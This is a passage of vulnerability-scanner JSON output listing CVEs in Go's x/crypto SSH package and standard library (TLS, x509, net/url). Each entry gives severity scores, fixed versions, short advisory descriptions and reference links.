"https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-46595", "https://bugzilla.redhat.com/show_bug.cgi?id=2480689", "https://github.com/golang/crypto/commit/533fb3f7e4a5ae23f69d1837cd851d35ff5b76ce", "https://go.dev/cl/781642", "https://go.dev/issue/79570", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46595", "https://pkg.go.dev/vuln/GO-2026-5023", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46595.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-46595" ], "PublishedDate": "2026-05-22T04:16:25.55Z", "LastModifiedDate": "2026-09-11T13:18:12.367Z" }, { "VulnerabilityID": "CVE-2026-46597", "VendorIDs": [ "GO-2026-5013" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46597", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:debb228d3f35d43db430af7da02223a502a7b62f0c8fbbf54b87e8d6d22fc7ef", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted AES-GCM packet decoder inputs", "Description": "An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.", "Severity": "HIGH", "CweIDs": [ "CWE-704" ], "VendorSeverity": { "amazon": 2, "azure": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46597", "https://go.dev/cl/781620", "https://go.dev/issue/79561", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46597", "https://pkg.go.dev/vuln/GO-2026-5013", "https://www.cve.org/CVERecord?id=CVE-2026-46597" ], "PublishedDate": "2026-05-22T04:16:26.003Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-56854", "VendorIDs": [ "GO-2026-6303" ], "PkgID": "golang.org/x/crypto@v0.26.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.26.0", "UID": "45aa6c9df24bae03" }, "InstalledVersion": "v0.26.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56854", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:0542458a689cdd02267ad6748da9ee8294389078ebd0c4b304fea104fcef0adc", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authentication bypass due to unenforced source-address restrictions", "Description": "The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "amazon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-56854", "https://go.dev/cl/797040", "https://go.dev/issue/80213", "https://nvd.nist.gov/vuln/detail/CVE-2026-56854", "https://pkg.go.dev/vuln/GO-2026-6303", "https://www.cve.org/CVERecord?id=CVE-2026-56854" ], "PublishedDate": "2026-08-28T16:18:17.607Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2025-68121", "VendorIDs": [ "GO-2026-4337" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.24.13, 1.25.7, 1.26.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-68121", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2034756f16e532bce92bd6d9e3b632cf291c92a9ce32e54f60f3d23261ad3136", "Title": "crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption", "Description": "During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.", "Severity": "CRITICAL", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 4, "cbl-mariner": 2, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "V3Score": 10 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:4177", "https://access.redhat.com/security/cve/CVE-2025-68121", "https://bugzilla.redhat.com/2434432", "https://bugzilla.redhat.com/2437111", "https://bugzilla.redhat.com/show_bug.cgi?id=2434432", "https://bugzilla.redhat.com/show_bug.cgi?id=2437111", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68121", "https://errata.almalinux.org/9/ALSA-2026-4177.html", "https://errata.rockylinux.org/RLSA-2026:4177", "https://github.com/golang/go/issues/77113", "https://go.dev/cl/737700", "https://go.dev/issue/77217", "https://groups.google.com/g/golang-announce/c/K09ubi9FQFk", "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc", "https://linux.oracle.com/cve/CVE-2025-68121.html", "https://linux.oracle.com/errata/ELSA-2026-5146.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-68121", "https://pkg.go.dev/vuln/GO-2026-4337", "https://www.cve.org/CVERecord?id=CVE-2025-68121" ], "PublishedDate": "2026-02-05T18:16:10.857Z", "LastModifiedDate": "2026-06-17T09:58:33.833Z" }, { "VulnerabilityID": "CVE-2025-61726", "VendorIDs": [ "GO-2026-4341" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.24.12, 1.25.6", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-61726", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ccc1992f4c7402b8af17928bb37f99100117b3be425c5bd223c2cd892e8f49d5", "Title": "golang: net/url: Memory exhaustion in query parameter parsing in net/url", "Description": "The net/url package does not set a limit on the number of query parameters in a query. While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bitnami": 3, "cbl-mariner": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10096", "https://access.redhat.com/errata/RHSA-2026:10104", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:10225", "https://access.redhat.com/errata/RHSA-2026:10250", "https://access.redhat.com/errata/RHSA-2026:11408", "https://access.redhat.com/errata/RHSA-2026:11414", "https://access.redhat.com/errata/RHSA-2026:11747", "https://access.redhat.com/errata/RHSA-2026:11749", "https://access.redhat.com/errata/RHSA-2026:12028", "https://access.redhat.com/errata/RHSA-2026:12029", "https://access.redhat.com/errata/RHSA-2026:12030", "https://access.redhat.com/errata/RHSA-2026:12031", "https://access.redhat.com/errata/RHSA-2026:12032", "https://access.redhat.com/errata/RHSA-2026:12033", "https://access.redhat.com/errata/RHSA-2026:12279", "https://access.redhat.com/errata/RHSA-2026:12282", "https://access.redhat.com/errata/RHSA-2026:13542", "https://access.redhat.com/errata/RHSA-2026:13548", "https://access.redhat.com/errata/RHSA-2026:13571", "https://access.redhat.com/errata/RHSA-2026:14100", "https://access.redhat.com/errata/RHSA-2026:14774", "https://access.redhat.com/errata/RHSA-2026:14868", "https://access.redhat.com/errata/RHSA-2026:14879", "https://access.redhat.com/errata/RHSA-2026:15091", "https://access.redhat.com/errata/RHSA-2026:15984", "https://access.redhat.com/errata/RHSA-2026:16102", "https://access.redhat.com/errata/RHSA-2026:16696", "https://access.redhat.com/errata/RHSA-2026:17040", "https://access.redhat.com/errata/RHSA-2026:17084", "https://access.redhat.com/errata/RHSA-2026:17446", "https://access.redhat.com/errata/RHSA-2026:17460", "https://access.redhat.com/errata/RHSA-2026:17463", "https://access.redhat.com/errata/RHSA-2026:17468", "https://access.redhat.com/errata/RHSA-2026:17595", "https://access.redhat.com/errata/RHSA-2026:17598", "https://access.redhat.com/errata/RHSA-2026:18913", "https://access.redhat.com/errata/RHSA-2026:19013", "https://access.redhat.com/errata/RHSA-2026:19132", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19634", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20041", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:21657", "https://access.redhat.com/errata/RHSA-2026:21691", "https://access.redhat.com/errata/RHSA-2026:22450", "https://access.redhat.com/errata/RHSA-2026:22627", "https://access.redhat.com/errata/RHSA-2026:22714", "https://access.redhat.com/errata/RHSA-2026:22937", "https://access.redhat.com/errata/RHSA-2026:23228", "https://access.redhat.com/errata/RHSA-2026:23361", "https://access.redhat.com/errata/RHSA-2026:24977", "https://access.redhat.com/errata/RHSA-2026:25089", "https://access.redhat.com/errata/RHSA-2026:25127", "https://access.redhat.com/errata/RHSA-2026:25248", "https://access.redhat.com/errata/RHSA-2026:25250", "https://access.redhat.com/errata/RHSA-2026:25251", "https://access.redhat.com/errata/RHSA-2026:25252", "https://access.redhat.com/errata/RHSA-2026:25253", "https://access.redhat.com/errata/RHSA-2026:26420", "https://access.redhat.com/errata/RHSA-2026:26527", "https://access.redhat.com/errata/RHSA-2026:26541", "https://access.redhat.com/errata/RHSA-2026:26636", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2706", "https://access.redhat.com/errata/RHSA-2026:2708", "https://access.redhat.com/errata/RHSA-2026:2709", "https://access.redhat.com/errata/RHSA-2026:2754", "https://access.redhat.com/errata/RHSA-2026:28047", "https://access.redhat.com/errata/RHSA-2026:2844", "https://access.redhat.com/errata/RHSA-2026:28441", "https://access.redhat.com/errata/RHSA-2026:28886", "https://access.redhat.com/errata/RHSA-2026:28961", "https://access.redhat.com/errata/RHSA-2026:2914", "https://access.redhat.com/errata/RHSA-2026:2920", "https://access.redhat.com/errata/RHSA-2026:3035", "https://access.redhat.com/errata/RHSA-2026:3040", "https://access.redhat.com/errata/RHSA-2026:3089", "https://access.redhat.com/errata/RHSA-2026:3092", "https://access.redhat.com/errata/RHSA-2026:3184", "https://access.redhat.com/errata/RHSA-2026:3186", "https://access.redhat.com/errata/RHSA-2026:3187", "https://access.redhat.com/errata/RHSA-2026:3188", "https://access.redhat.com/errata/RHSA-2026:3192", "https://access.redhat.com/errata/RHSA-2026:3193", "https://access.redhat.com/errata/RHSA-2026:3291", "https://access.redhat.com/errata/RHSA-2026:3296", "https://access.redhat.com/errata/RHSA-2026:3297", "https://access.redhat.com/errata/RHSA-2026:3298", "https://access.redhat.com/errata/RHSA-2026:3336", "https://access.redhat.com/errata/RHSA-2026:3337", "https://access.redhat.com/errata/RHSA-2026:3340", "https://access.redhat.com/errata/RHSA-2026:3341", "https://access.redhat.com/errata/RHSA-2026:3343", "https://access.redhat.com/errata/RHSA-2026:3391", "https://access.redhat.com/errata/RHSA-2026:3416", "https://access.redhat.com/errata/RHSA-2026:3427", "https://access.redhat.com/errata/RHSA-2026:3459", "https://access.redhat.com/errata/RHSA-2026:3468", "https://access.redhat.com/errata/RHSA-2026:3469", "https://access.redhat.com/errata/RHSA-2026:3470", "https://access.redhat.com/errata/RHSA-2026:3471", "https://access.redhat.com/errata/RHSA-2026:3472", "https://access.redhat.com/errata/RHSA-2026:3473", "https://access.redhat.com/errata/RHSA-2026:3489", "https://access.redhat.com/errata/RHSA-2026:3506", "https://access.redhat.com/errata/RHSA-2026:3556", "https://access.redhat.com/errata/RHSA-2026:3559", "https://access.redhat.com/errata/RHSA-2026:3668", "https://access.redhat.com/errata/RHSA-2026:3669", "https://access.redhat.com/errata/RHSA-2026:36873", "https://access.redhat.com/errata/RHSA-2026:36882", "https://access.redhat.com/errata/RHSA-2026:3699", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:3752", "https://access.redhat.com/errata/RHSA-2026:3753", "https://access.redhat.com/errata/RHSA-2026:3782", "https://access.redhat.com/errata/RHSA-2026:3812", "https://access.redhat.com/errata/RHSA-2026:3813", "https://access.redhat.com/errata/RHSA-2026:3814", "https://access.redhat.com/errata/RHSA-2026:3815", "https://access.redhat.com/errata/RHSA-2026:3816", "https://access.redhat.com/errata/RHSA-2026:3817", "https://access.redhat.com/errata/RHSA-2026:3818", "https://access.redhat.com/errata/RHSA-2026:3820", "https://access.redhat.com/errata/RHSA-2026:3821", "https://access.redhat.com/errata/RHSA-2026:3822", "https://access.redhat.com/errata/RHSA-2026:3831", "https://access.redhat.com/errata/RHSA-2026:3833", "https://access.redhat.com/errata/RHSA-2026:3835", "https://access.redhat.com/errata/RHSA-2026:3836", "https://access.redhat.com/errata/RHSA-2026:3838", "https://access.redhat.com/errata/RHSA-2026:3839", "https://access.redhat.com/errata/RHSA-2026:3840", "https://access.redhat.com/errata/RHSA-2026:3841", "https://access.redhat.com/errata/RHSA-2026:3843", "https://access.redhat.com/errata/RHSA-2026:3854", "https://access.redhat.com/errata/RHSA-2026:3855", "https://access.redhat.com/errata/RHSA-2026:3856", "https://access.redhat.com/errata/RHSA-2026:3864", "https://access.redhat.com/errata/RHSA-2026:3869", "https://access.redhat.com/errata/RHSA-2026:3874", "https://access.redhat.com/errata/RHSA-2026:3875", "https://access.redhat.com/errata/RHSA-2026:3879", "https://access.redhat.com/errata/RHSA-2026:3880", "https://access.redhat.com/errata/RHSA-2026:3884", "https://access.redhat.com/errata/RHSA-2026:3898", "https://access.redhat.com/errata/RHSA-2026:3905", "https://access.redhat.com/errata/RHSA-2026:3906", "https://access.redhat.com/errata/RHSA-2026:3928", "https://access.redhat.com/errata/RHSA-2026:3929", "https://access.redhat.com/errata/RHSA-2026:3930", "https://access.redhat.com/errata/RHSA-2026:3931", "https://access.redhat.com/errata/RHSA-2026:3932", "https://access.redhat.com/errata/RHSA-2026:3958", "https://access.redhat.com/errata/RHSA-2026:3959", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:3970", "https://access.redhat.com/errata/RHSA-2026:3971", "https://access.redhat.com/errata/RHSA-2026:3972", "https://access.redhat.com/errata/RHSA-2026:3973", "https://access.redhat.com/errata/RHSA-2026:3974", "https://access.redhat.com/errata/RHSA-2026:3977", "https://access.redhat.com/errata/RHSA-2026:39810", "https://access.redhat.com/errata/RHSA-2026:3985", "https://access.redhat.com/errata/RHSA-2026:40924", "https://access.redhat.com/errata/RHSA-2026:4164", "https://access.redhat.com/errata/RHSA-2026:4166", "https://access.redhat.com/errata/RHSA-2026:4170", "https://access.redhat.com/errata/RHSA-2026:4174", "https://access.redhat.com/errata/RHSA-2026:4177", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41941", "https://access.redhat.com/errata/RHSA-2026:4211", "https://access.redhat.com/errata/RHSA-2026:4220", "https://access.redhat.com/errata/RHSA-2026:4256", "https://access.redhat.com/errata/RHSA-2026:4264", "https://access.redhat.com/errata/RHSA-2026:4267", "https://access.redhat.com/errata/RHSA-2026:4270", "https://access.redhat.com/errata/RHSA-2026:4276", "https://access.redhat.com/errata/RHSA-2026:4434", "https://access.redhat.com/errata/RHSA-2026:4435", "https://access.redhat.com/errata/RHSA-2026:4460", "https://access.redhat.com/errata/RHSA-2026:4466", "https://access.redhat.com/errata/RHSA-2026:4467", "https://access.redhat.com/errata/RHSA-2026:4498", "https://access.redhat.com/errata/RHSA-2026:4500", "https://access.redhat.com/errata/RHSA-2026:4510", "https://access.redhat.com/errata/RHSA-2026:4511", "https://access.redhat.com/errata/RHSA-2026:4672", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:4753", "https://access.redhat.com/errata/RHSA-2026:4892", "https://access.redhat.com/errata/RHSA-2026:4901", "https://access.redhat.com/errata/RHSA-2026:4907", "https://access.redhat.com/errata/RHSA-2026:4939", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:4943", "https://access.redhat.com/errata/RHSA-2026:4952", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:5022", "https://access.redhat.com/errata/RHSA-2026:5030", "https://access.redhat.com/errata/RHSA-2026:5031", "https://access.redhat.com/errata/RHSA-2026:5076", "https://access.redhat.com/errata/RHSA-2026:5077", "https://access.redhat.com/errata/RHSA-2026:5078", "https://access.redhat.com/errata/RHSA-2026:5079", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:5110", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:5129", "https://access.redhat.com/errata/RHSA-2026:5130", "https://access.redhat.com/errata/RHSA-2026:5131", "https://access.redhat.com/errata/RHSA-2026:5132", "https://access.redhat.com/errata/RHSA-2026:5145", "https://access.redhat.com/errata/RHSA-2026:5146", "https://access.redhat.com/errata/RHSA-2026:5168", "https://access.redhat.com/errata/RHSA-2026:5327", "https://access.redhat.com/errata/RHSA-2026:5394", "https://access.redhat.com/errata/RHSA-2026:5439", "https://access.redhat.com/errata/RHSA-2026:5444", "https://access.redhat.com/errata/RHSA-2026:5447", "https://access.redhat.com/errata/RHSA-2026:5452", "https://access.redhat.com/errata/RHSA-2026:5461", "https://access.redhat.com/errata/RHSA-2026:5463", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:5533", "https://access.redhat.com/errata/RHSA-2026:5544", "https://access.redhat.com/errata/RHSA-2026:5549", "https://access.redhat.com/errata/RHSA-2026:5636", "https://access.redhat.com/errata/RHSA-2026:56366", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:5645", "https://access.redhat.com/errata/RHSA-2026:5649", "https://access.redhat.com/errata/RHSA-2026:5665", "https://access.redhat.com/errata/RHSA-2026:57013", "https://access.redhat.com/errata/RHSA-2026:5807", "https://access.redhat.com/errata/RHSA-2026:5851", "https://access.redhat.com/errata/RHSA-2026:5852", "https://access.redhat.com/errata/RHSA-2026:5853", "https://access.redhat.com/errata/RHSA-2026:5948", "https://access.redhat.com/errata/RHSA-2026:5950", "https://access.redhat.com/errata/RHSA-2026:5952", "https://access.redhat.com/errata/RHSA-2026:5968", "https://access.redhat.com/errata/RHSA-2026:6184", "https://access.redhat.com/errata/RHSA-2026:6192", "https://access.redhat.com/errata/RHSA-2026:6226", "https://access.redhat.com/errata/RHSA-2026:6251", "https://access.redhat.com/errata/RHSA-2026:6277", "https://access.redhat.com/errata/RHSA-2026:6278", "https://access.redhat.com/errata/RHSA-2026:6428", "https://access.redhat.com/errata/RHSA-2026:6429", "https://access.redhat.com/errata/RHSA-2026:6497", "https://access.redhat.com/errata/RHSA-2026:6554", "https://access.redhat.com/errata/RHSA-2026:6564", "https://access.redhat.com/errata/RHSA-2026:6567", "https://access.redhat.com/errata/RHSA-2026:6568", "https://access.redhat.com/errata/RHSA-2026:66401", "https://access.redhat.com/errata/RHSA-2026:7052", "https://access.redhat.com/errata/RHSA-2026:7249", "https://access.redhat.com/errata/RHSA-2026:7291", "https://access.redhat.com/errata/RHSA-2026:7385", "https://access.redhat.com/errata/RHSA-2026:7676", "https://access.redhat.com/errata/RHSA-2026:7854", "https://access.redhat.com/errata/RHSA-2026:7942", "https://access.redhat.com/errata/RHSA-2026:8151", "https://access.redhat.com/errata/RHSA-2026:8167", "https://access.redhat.com/errata/RHSA-2026:8218", "https://access.redhat.com/errata/RHSA-2026:8229", "https://access.redhat.com/errata/RHSA-2026:8337", "https://access.redhat.com/errata/RHSA-2026:8338", "https://access.redhat.com/errata/RHSA-2026:8431", "https://access.redhat.com/errata/RHSA-2026:8433", "https://access.redhat.com/errata/RHSA-2026:8483", "https://access.redhat.com/errata/RHSA-2026:9097", "https://access.redhat.com/errata/RHSA-2026:9098", "https://access.redhat.com/errata/RHSA-2026:9108", "https://access.redhat.com/errata/RHSA-2026:9109", "https://access.redhat.com/errata/RHSA-2026:9848", "https://access.redhat.com/security/cve/CVE-2025-61726", "https://bugzilla.redhat.com/2434432", "https://bugzilla.redhat.com/2437111", "https://bugzilla.redhat.com/show_bug.cgi?id=2434432", "https://bugzilla.redhat.com/show_bug.cgi?id=2437111", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68121", "https://errata.almalinux.org/9/ALSA-2026-4177.html", "https://errata.rockylinux.org/RLSA-2026:4177", "https://go.dev/cl/736712", "https://go.dev/issue/77101", "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc", "https://linux.oracle.com/cve/CVE-2025-61726.html", "https://linux.oracle.com/errata/ELSA-2026-5146.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-61726", "https://pkg.go.dev/vuln/GO-2026-4341", "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-61726.json", "https://www.cve.org/CVERecord?id=CVE-2025-61726" ], "PublishedDate": "2026-01-28T20:16:09.713Z", "LastModifiedDate": "2026-09-17T12:17:11.443Z" }, { "VulnerabilityID": "CVE-2025-61729", "VendorIDs": [ "GO-2025-4155" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.24.11, 1.25.5", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-61729", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:54797c7c4d5486bcfe92c36d8e070c1619f06a4ac4dd1d85a3a89a194c134f9d", "Title": "crypto/x509: golang: Denial of Service due to excessive resource consumption via crafted certificate", "Description": "Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "cbl-mariner": 1, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:3928", "https://access.redhat.com/security/cve/CVE-2025-61729", "https://bugzilla.redhat.com/2418462", "https://bugzilla.redhat.com/2434432", "https://bugzilla.redhat.com/2437111", "https://bugzilla.redhat.com/show_bug.cgi?id=2418462", "https://bugzilla.redhat.com/show_bug.cgi?id=2434432", "https://bugzilla.redhat.com/show_bug.cgi?id=2437111", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61726", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-61729", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68121", "https://errata.almalinux.org/9/ALSA-2026-3928.html", "https://errata.rockylinux.org/RLSA-2026:3928", "https://go.dev/cl/725920", "https://go.dev/issue/76445", "https://groups.google.com/g/golang-announce/c/8FJoBkPddm4", "https://linux.oracle.com/cve/CVE-2025-61729.html", "https://linux.oracle.com/errata/ELSA-2026-5146.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-61729", "https://pkg.go.dev/vuln/GO-2025-4155", "https://www.cve.org/CVERecord?id=CVE-2025-61729" ], "PublishedDate": "2025-12-02T19:15:51.447Z", "LastModifiedDate": "2026-10-18T18:10:00.1Z" }, { "VulnerabilityID": "CVE-2026-111943", "VendorIDs": [ "GO-2026-6809" ], "PkgID": "stdlib@v1.23.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.23.3", "UID": "4fff4bae17cf3b8e" }, "InstalledVersion": "v1.23.3", "FixedVersion": "1.26.10, 1.27.3", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111943", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:2eac24537444567b5dd29444870a263e1db036c64483906ca824197001aaff69", "Title": "crypto/x509: golang: crypto/x509: Man-in-the-middle attacks via untrusted intermediate certificates", "Description": "On most platforms, Go uses the given system root certificates. However, in some narrower cases, the system trust stores may not be updated without further action. To defend against the narrower set of cases that may remain affected, a denylist was added in crypto/x509 to return an error when calling Verify with any of the known intermediate certificates that are no longer considered to be trustworthy.", "Severity": "HIGH", "CweIDs": [ "CWE-299" ], "VendorSeverity": { "alma": 3, "amazon": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/20/29", "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-111943", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", 